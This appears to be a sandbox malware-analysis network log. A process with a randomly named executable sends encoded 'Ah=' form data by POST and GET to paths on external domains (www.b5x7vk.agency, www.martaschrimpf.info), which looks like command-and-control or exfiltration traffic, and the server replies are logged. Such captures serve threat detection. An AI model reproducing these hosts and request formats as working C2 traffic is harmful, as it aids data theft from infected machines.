0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	63704	172.67.165.25	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:50.525249958 CEST	1878	OUT	POST /f66t/ HTTP/1.1 Host: www.b5x7vk.agency Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.b5x7vk.agency Referer: http://www.b5x7vk.agency/f66t/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 4f 6c 52 6b 56 6a 41 64 65 6a 36 77 51 4c 58 75 50 2f 36 44 4b 4a 45 6a 56 6e 39 49 6d 59 4a 34 34 32 50 62 6b 47 70 6e 55 4a 45 31 59 45 4d 6c 56 48 50 76 68 4a 68 54 6e 67 2b 67 57 59 6a 39 36 6b 51 4a 6a 7a 7a 59 5a 44 57 51 49 6f 75 31 76 33 7a 2b 42 6a 6e 32 4a 2b 56 2b 4a 46 58 79 64 4b 75 41 77 78 6d 4e 62 69 41 50 39 75 56 32 35 41 53 62 32 4e 4e 31 4a 6e 47 73 5a 4b 62 4d 63 51 76 37 50 78 6c 62 36 48 58 2b 47 53 79 7a 78 67 7a 46 35 7a 79 4b 62 75 48 58 56 41 48 63 4a 31 70 45 4a 76 62 63 64 63 7a 50 4c 56 55 36 54 46 2b 6e 71 78 75 6e 70 46 74 70 6f 77 5a 76 4a 65 30 6e 37 77 33 6e 47 7a 62 43 66 66 73 36 68 61 30 66 51 51 4b 55 72 50 4a 55 70 33 45 58 57 32 79 77 74 59 32 31 70 79 4e 76 4b 51 46 5a 74 4d 79 52 72 48 32 72 4e 6f 34 7a 4c 2f 65 30 7a 49 6e 7a 6c 45 5a 38 76 74 63 64 76 65 77 44 51 44 4e 58 61 69 45 51 58 77 49 71 66 67 4f 78 6d 45 4a 6c 4e 34 53 76 35 64 66 6a 39 42 6f 71 72 66 33 47 33 50 49 53 32 30 48 5a 41 6d 72 67 44 4e 2b 51 56 66 5a 30 63 7a 39 2f 49 74 [TRUNCATED] Data Ascii: Ah=9OlRkVjAdej6wQLXuP/6DKJEjVn9ImYJ442PbkGpnUJE1YEMlVHPvhJhTng+gWYj96kQJjzzYZDWQIou1v3z+Bjn2J+V+JFXydKuAwxmNbiAP9uV25ASb2NN1JnGsZKbMcQv7Pxlb6HX+GSyzxgzF5zyKbuHXVAHcJ1pEJvbcdczPLVU6TF+nqxunpFtpowZvJe0n7w3nGzbCffs6ha0fQQKUrPJUp3EXW2ywtY21pyNvKQFZtMyRrH2rNo4zL/e0zInzlEZ8vtcdvewDQDNXaiEQXwIqfgOxmEJlN4Sv5dfj9Boqrf3G3PIS20HZAmrgDN+QVfZ0cz9/It+bfCx8uR2q10CwbUp6XbX94Lty51dvx8AvozoF5YQorGb5jEvzDiqH3M9hy0Y9wi35n3WRqWo0BIRZgohvE+ihtI7oty8D9gfaZ5Qf0eYOsRIMee4wJU35pi7/IFoyteFAE70M31GIuj31n1CDzawu5o1v1dmsXp1tMri99NRKxiY0MX5oZCIN0BSqyBhDVYcueRxfIX0p61zpUTd1LOQo71gT2E1u4UQKa7q1dZFqWOOEPyzCq41CjO0qO/udvKnYkZf0CHHfUy6Sm9ByBC1L2uBZrv+aiN6S6P0KEOswqGPjdjlJV+s3/yS21CEPASYavYGVWpUJoGmpkON6om4umSJH+4HRpkw9p70OerT5GAqbiIjhbVrq4jjMaLtuXUX6dyQnJY2qN+A0HkKUggtki49kQMQrHJT/rY3EEXp61iqFlkGRNQcEPqIrfakSKQxgPBpBbE8gCpMk2Qq3wq+KjnFdwfJmoDhDUA8Ed8H73oN4BwBbn3gb/rm4q21T3yNyj40m7w/r/90qA9Z3+7OQijccFD8s+BHAepE1vyjl7XtwhOuS2cZkoDjkKUxEdl9ggI0DoGWW+29t+KKIVy/5zN2g0I7LMfIzBvi8CMRZ1XJLxZsZzBV6Pvgsd4jIUSG1fiperkPHaYVy0OGnCN0h/0UbTcWIiyza [TRUNCATED]
Sep 27, 2024 17:30:51.501018047 CEST	688	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:30:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dWHQVjxtLPBV%2BAEKFjoR8OkKv1BdvDYU6xxAY8%2BsMqMTf649w1yvfFdYe5SOsdmh1Ak19jJDL9RrPEzFsh4Df6%2FAWLA86jqJNoqSo61JkeNqy8KWuwb7M8hA%2BPBWGiMBrNvasg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c898c2947c436-EWR Content-Encoding: gzip Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	63705	172.67.165.25	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:53.073514938 CEST	585	OUT	GET /f66t/?Ah=wMNxngytVvT+xiDvhZKVBLBZglmuZQUCx/WcIyOXqUp4vIwezETUsTI6SXRinkgbo4oPfyScfq3TTLYR3fLN41mF5bem5ZFkurSKCCFsELulDfuy7v5fTUVM4J27kpDPZg==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.b5x7vk.agency Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:30:54.069080114 CEST	742	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:30:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fGHQt%2Fn4mIQJsdIoR5kriFbshWEY0VR0Qg7LGnSkF0v4q2o0Kd7va7Ne6pdqHRvUYuc9x1Yu2jn2QMnI3I6pVl1XazmJ1Vw8zjCE%2BR5zqfSlSdzlnnm9W7q0YF9rCaq%2FEMt30g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8c9c899c294942ea-EWR Data Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	63706	208.91.197.27	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:30:59.404990911 CEST	856	OUT	POST /7kkb/ HTTP/1.1 Host: www.martaschrimpf.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.martaschrimpf.info Referer: http://www.martaschrimpf.info/7kkb/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 59 73 33 62 49 43 2b 43 63 65 68 6c 72 48 67 75 53 48 6c 65 4b 52 54 66 53 39 4e 43 70 56 57 70 5a 33 2b 2b 4c 4f 31 69 62 36 4f 7a 56 39 4e 79 32 77 65 39 56 37 54 50 66 38 5a 32 7a 63 44 34 49 57 30 4a 32 4a 7a 58 54 43 42 44 53 36 44 74 51 68 44 50 63 73 36 79 4d 67 64 38 73 38 37 52 71 4e 75 39 79 5a 5a 50 2f 70 32 42 6e 50 78 61 37 59 63 61 68 50 75 44 74 37 49 57 5a 51 31 78 2b 42 65 77 53 41 61 67 53 66 4f 6b 7a 6d 2f 30 77 78 43 57 57 54 62 75 67 72 76 66 4f 37 61 54 6b 59 56 42 74 55 59 49 66 53 6c 59 61 54 6d 53 55 61 79 6e 73 4d 4b 4d 76 38 2f 49 6b 56 55 52 5a 2b 64 6f 74 69 49 3d Data Ascii: Ah=Ys3bIC+CcehlrHguSHleKRTfS9NCpVWpZ3++LO1ib6OzV9Ny2we9V7TPf8Z2zcD4IW0J2JzXTCBDS6DtQhDPcs6yMgd8s87RqNu9yZZP/p2BnPxa7YcahPuDt7IWZQ1x+BewSAagSfOkzm/0wxCWWTbugrvfO7aTkYVBtUYIfSlYaTmSUaynsMKMv8/IkVURZ+dotiI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	63707	208.91.197.27	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:01.967781067 CEST	876	OUT	POST /7kkb/ HTTP/1.1 Host: www.martaschrimpf.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.martaschrimpf.info Referer: http://www.martaschrimpf.info/7kkb/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 59 73 33 62 49 43 2b 43 63 65 68 6c 71 6e 38 75 51 67 52 65 43 52 54 65 63 64 4e 43 69 31 57 74 5a 33 36 2b 4c 50 68 4d 62 49 71 7a 56 63 64 79 33 31 79 39 63 72 54 50 48 73 5a 2f 72 38 44 6a 49 57 34 42 32 4d 4c 58 54 43 56 44 53 2f 76 74 52 57 33 49 64 38 36 30 41 41 64 2b 69 63 37 52 71 4e 75 39 79 5a 4d 71 2f 70 65 42 6e 2b 42 61 30 5a 63 64 76 76 75 41 75 37 49 57 64 51 31 4c 2b 42 65 53 53 45 61 61 53 63 32 6b 7a 6e 50 30 78 6a 6d 52 63 54 62 6f 39 37 76 4b 50 59 6e 43 75 62 52 68 77 32 68 6f 4f 43 64 64 53 46 4c 34 4f 34 36 50 2f 73 6d 30 2f 76 33 2f 31 6c 31 34 44 64 4e 59 7a 31 65 74 75 74 4c 39 74 37 4d 30 5a 6d 38 74 56 4c 54 6d 79 73 2b 2f Data Ascii: Ah=Ys3bIC+Ccehlqn8uQgReCRTecdNCi1WtZ36+LPhMbIqzVcdy31y9crTPHsZ/r8DjIW4B2MLXTCVDS/vtRW3Id860AAd+ic7RqNu9yZMq/peBn+Ba0ZcdvvuAu7IWdQ1L+BeSSEaaSc2kznP0xjmRcTbo97vKPYnCubRhw2hoOCddSFL4O46P/sm0/v3/1l14DdNYz1etutL9t7M0Zm8tVLTmys+/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	63708	208.91.197.27	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:04.512590885 CEST	1893	OUT	POST /7kkb/ HTTP/1.1 Host: www.martaschrimpf.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.martaschrimpf.info Referer: http://www.martaschrimpf.info/7kkb/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 59 73 33 62 49 43 2b 43 63 65 68 6c 71 6e 38 75 51 67 52 65 43 52 54 65 63 64 4e 43 69 31 57 74 5a 33 36 2b 4c 50 68 4d 62 49 69 7a 57 75 46 79 31 53 6d 39 47 72 54 50 5a 38 5a 79 72 38 43 68 49 58 51 37 32 4d 32 69 54 42 74 44 64 35 37 74 57 6e 33 49 54 38 36 30 49 67 64 37 73 38 37 49 71 4e 2b 35 79 5a 63 71 2f 70 65 42 6e 39 5a 61 39 6f 63 64 2f 66 75 44 74 37 49 61 5a 51 30 6b 2b 42 47 6f 53 45 4f 77 53 73 57 6b 79 48 66 30 32 51 43 52 51 54 62 71 2b 37 75 50 50 59 71 61 75 59 6c 4c 77 79 70 4f 4f 42 4e 64 44 52 79 46 4a 4c 4f 78 67 4e 75 77 79 73 76 6a 72 7a 67 59 4a 75 31 4f 78 58 79 58 6e 73 72 67 6e 73 30 6b 62 31 56 36 4f 63 62 78 7a 59 66 2f 2b 36 69 4c 77 73 72 41 50 4a 30 4b 58 78 30 33 42 70 46 44 4d 73 32 74 33 7a 76 6d 31 6a 4b 39 4c 58 71 6e 43 37 50 78 64 68 6d 52 53 79 66 30 4b 6a 33 51 69 37 4c 37 54 63 31 39 48 30 57 58 43 50 37 53 4b 47 35 32 61 78 41 45 33 68 57 43 47 42 36 6e 61 41 49 37 6e 4b 45 6c 32 55 48 44 64 72 67 6b 69 61 72 2f 50 58 65 65 59 5a 30 77 38 75 43 [TRUNCATED] Data Ascii: Ah=Ys3bIC+Ccehlqn8uQgReCRTecdNCi1WtZ36+LPhMbIizWuFy1Sm9GrTPZ8Zyr8ChIXQ72M2iTBtDd57tWn3IT860Igd7s87IqN+5yZcq/peBn9Za9ocd/fuDt7IaZQ0k+BGoSEOwSsWkyHf02QCRQTbq+7uPPYqauYlLwypOOBNdDRyFJLOxgNuwysvjrzgYJu1OxXyXnsrgns0kb1V6OcbxzYf/+6iLwsrAPJ0KXx03BpFDMs2t3zvm1jK9LXqnC7PxdhmRSyf0Kj3Qi7L7Tc19H0WXCP7SKG52axAE3hWCGB6naAI7nKEl2UHDdrgkiar/PXeeYZ0w8uCJHOGbpI5gvoYVKItpSrr3X9bDmAM+Juk2u4M8tPHXbtbRSEyJWKFS4nIftizMT65vWgy2MNiObopWbY7+7u3FppQmQoOL51QNBIuHEjSp0XnyonGoUI69BgvfGm83At12/IdqgNFmwAtNjW0sGm72jCKMwREBVkQ14kUP7Ga3XStzDXfcxHNJlU01sJHO+b76Zw8tD2iWXCcOS56MObjP759gtZLvJsl+D07sLxN2re1zM8AUbHTCZZ3RE0NvtFyJhJVjqFd/N5FGNClv2Man60qPjOsbAN4eGAqiybqlYQpAFsKMYRyJJBewKWIIMmL2wnPk78Yx2u++MSQski6oxUEXW3k2pYL8PKahkMZemxldnqz9V79X+uVpvFtVKorNXCO8IASp0gTA9jsykFaTVqk+qmuGqcNqZ3j99LNDFABWkaFrC+/mFqwtMA0rLz6Ak9eId+1BFbYYxK9VCdQBXIbF+4uSEIFJeBQyL6GTbkL170XfYhu9hJJK35W9uw7j7dgWOVA8tcMtYYHNAbylPncHdd4F5WrYrwGyfPl471f+kgUdzdnTt67XvSlTNofh0OxY1hxpaS8hz9FXnw7c5akrpbg4p2u4RbF/bCpPLpz5k7vXw2ufusPhkvkwFzDsEs4febebN+454XwyhA+PvNj+56i7SZPzH [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	63709	208.91.197.27	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:07.046612024 CEST	590	OUT	GET /7kkb/?6RGD=r8eHwnMpb2dxK&Ah=Vuf7L1aATO5bukV8eQdUIEmIaPgQ1yOpdgGCLe1WZLTuWrNT4xutTpWyFskV9eTAAXQRhMy7Zgc6S7zaREH9Qt7yJDZ+mejpqMKnoLgUtbmjvcVg7/Biou/HjIkaZAov/Q== HTTP/1.1 Host: www.martaschrimpf.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:31:09.486481905 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:31:07 GMT Server: Apache Referrer-Policy: no-referrer-when-downgrade Accept-CH: Sec-CH-Save-Data, Sec-CH-DPR, Sec-CH-Width, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Device-Memory, Sec-CH-RTT, Sec-CH-Downlink, Sec-CH-ECT, Sec-CH-Prefers-Color-Scheme, Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-platform-version=("https://dts.gnpge.com"), ch-ua-model=("https://dts.gnpge.com") Set-Cookie: vsid=912vr474996667662843165; expires=Wed, 26-Sep-2029 15:31:07 GMT; Max-Age=157680000; path=/; domain=www.martaschrimpf.info; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_UTaKIVKsTSF0q4YKRaAzBOk7RXtRKUXOaL8J8dMvHimx9H6Z1tnNCUvz1TW4Eli32Nfb7N5Nkxd6NZsnOzcMmA== Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Connection: close Data Raw: 62 62 34 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 6c 69 76 65 72 79 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 74 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6f 6e 73 65 6e 74 6d 61 6e 61 67 65 72 2e 6e 65 Data Ascii: bb40<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><link rel="preconnect" href="https://delivery.consentmanager.net"> <link rel="preconnect" href="https://cdn.consentmanager.ne
Sep 27, 2024 17:31:09.486859083 CEST	1236	IN	Data Raw: 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 63 6d 70 5f 73 74 61 79 69 6e 69 66 72 61 6d 65 20 3d 20 31 3b 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 64 6f 6e 74 6c 6f 61 64 69 Data Ascii: t"> <script>window.cmp_stayiniframe = 1; window.cmp_dontloadiniframe = true; if(!"gdprAppliesGlobally" in window){window.gdprAppliesGlobally=true}if(!("cmp_id" in window)\|\|window.cmp_id<1){window.cmp_id=0}if(!("cmp_cdid" i
Sep 27, 2024 17:31:09.486870050 CEST	1236	IN	Data Raw: 74 69 6f 6e 28 6a 29 7b 69 66 28 74 79 70 65 6f 66 28 6a 29 21 3d 22 62 6f 6f 6c 65 61 6e 22 29 7b 6a 3d 74 72 75 65 7d 69 66 28 6a 26 26 74 79 70 65 6f 66 28 63 6d 70 5f 67 65 74 6c 61 6e 67 2e 75 73 65 64 6c 61 6e 67 29 3d 3d 22 73 74 72 69 6e Data Ascii: tion(j){if(typeof(j)!="boolean"){j=true}if(j&&typeof(cmp_getlang.usedlang)=="string"&&cmp_getlang.usedlang!==""){return cmp_getlang.usedlang}var g=window.cmp_getsupportedLangs();var c=[];var f=location.hash;var e=location.search;var a="languag
Sep 27, 2024 17:31:09.487476110 CEST	1236	IN	Data Raw: 67 75 61 67 65 73 22 20 69 6e 20 68 29 7b 66 6f 72 28 76 61 72 20 71 3d 30 3b 71 3c 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 61 67 65 73 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 7b 69 66 28 68 2e 63 6d 70 5f 63 75 73 74 6f 6d 6c 61 6e 67 75 Data Ascii: guages" in h){for(var q=0;q<h.cmp_customlanguages.length;q++){if(h.cmp_customlanguages[q].l.toUpperCase()==o.toUpperCase()){o="en";break}}}b="_"+o}function x(i,e){var w="";i+="=";var s=i.length;var d=location;if(d.hash.indexOf(i)!=-1){w=d.hash
Sep 27, 2024 17:31:09.487488031 CEST	1236	IN	Data Raw: 2b 68 2e 63 6d 70 5f 70 61 72 61 6d 73 3a 22 22 29 2b 28 75 2e 63 6f 6f 6b 69 65 2e 6c 65 6e 67 74 68 3e 30 3f 22 26 5f 5f 63 6d 70 66 63 63 3d 31 22 3a 22 22 29 2b 22 26 6c 3d 22 2b 6f 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2b 22 26 6f 3d 22 Data Ascii: +h.cmp_params:"")+(u.cookie.length>0?"&__cmpfcc=1":"")+"&l="+o.toLowerCase()+"&o="+(new Date()).getTime();j.type="text/javascript";j.async=true;if(u.currentScript&&u.currentScript.parentElement){u.currentScript.parentElement.appendChild(j)}els
Sep 27, 2024 17:31:09.490505934 CEST	1236	IN	Data Raw: 62 5d 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 7b 76 61 72 20 61 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 61 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 3d 22 64 69 73 70 Data Ascii: b]){if(document.body){var a=document.createElement("iframe");a.style.cssText="display:none";if("cmp_cdn" in window&&"cmp_ultrablocking" in window&&window.cmp_ultrablocking>0){a.src="//"+window.cmp_cdn+"/delivery/empty.html"}a.name=b;a.setAttri
Sep 27, 2024 17:31:09.490519047 CEST	1236	IN	Data Raw: 70 6c 79 28 61 29 29 7d 65 6c 73 65 7b 69 66 28 61 5b 30 5d 3d 3d 3d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 7c 7c 61 5b 30 5d 3d 3d 3d 22 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 22 29 7b 5f 5f 63 6d 70 2e 61 2e 70 Data Ascii: ply(a))}else{if(a[0]==="addEventListener"\|\|a[0]==="removeEventListener"){__cmp.a.push([].slice.apply(a))}else{if(a.length==4&&a[3]===false){a[2]({},false)}else{__cmp.a.push([].slice.apply(a))}}}}}}};window.cmp_gpp_ping=function(){return{gppVer
Sep 27, 2024 17:31:09.490645885 CEST	1236	IN	Data Raw: 74 69 6f 6e 22 7c 7c 67 3d 3d 3d 22 67 65 74 53 65 63 74 69 6f 6e 22 7c 7c 67 3d 3d 3d 22 67 65 74 46 69 65 6c 64 22 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 65 6c 73 65 7b 5f 5f 67 70 70 2e 71 2e 70 75 73 68 28 5b 5d 2e 73 6c 69 63 65 2e 61 70 Data Ascii: tion"\|\|g==="getSection"\|\|g==="getField"){return null}else{__gpp.q.push([].slice.apply(a))}}}}}};window.cmp_msghandler=function(d){var a=typeof d.data==="string";try{var c=a?JSON.parse(d.data):d.data}catch(f){var c=null}if(typeof(c)==="object"&
Sep 27, 2024 17:31:09.490665913 CEST	1236	IN	Data Raw: 2e 63 6d 70 5f 73 65 74 53 74 75 62 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 28 61 20 69 6e 20 77 69 6e 64 6f 77 29 7c 7c 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 61 5d 29 21 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f Data Ascii: .cmp_setStub=function(a){if(!(a in window)\|\|(typeof(window[a])!=="function"&&typeof(window[a])!=="object"&&(typeof(window[a])==="undefined"\|\|window[a]!==null))){window[a]=window.cmp_stub;window[a].msgHandler=window.cmp_msghandler;window.addEve
Sep 27, 2024 17:31:09.493076086 CEST	1236	IN	Data Raw: 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 Data Ascii: pt type="text/javascript">var abp;</script><script type="text/javascript" src="http://www.martaschrimpf.info/px.js?ch=1"></script><script type="text/javascript" src="http://www.martaschrimpf.info/px.js?ch=2"></script><script type="text/javascr
Sep 27, 2024 17:31:09.515010118 CEST	1236	IN	Data Raw: 63 3a 20 75 72 6c 28 22 68 74 74 70 3a 2f 2f 69 32 2e 63 64 6e 2d 69 6d 61 67 65 2e 63 6f 6d 2f 5f 5f 6d 65 64 69 61 5f 5f 2f 66 6f 6e 74 73 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 6c 61 72 2f 6d 6f 6e 74 73 65 72 72 61 74 2d 72 65 67 75 Data Ascii: c: url("http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot");src: url("http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot?#iefix") format("embedded-opentype"),url("http://i2.cdn-ima

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	63711	162.0.238.43	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
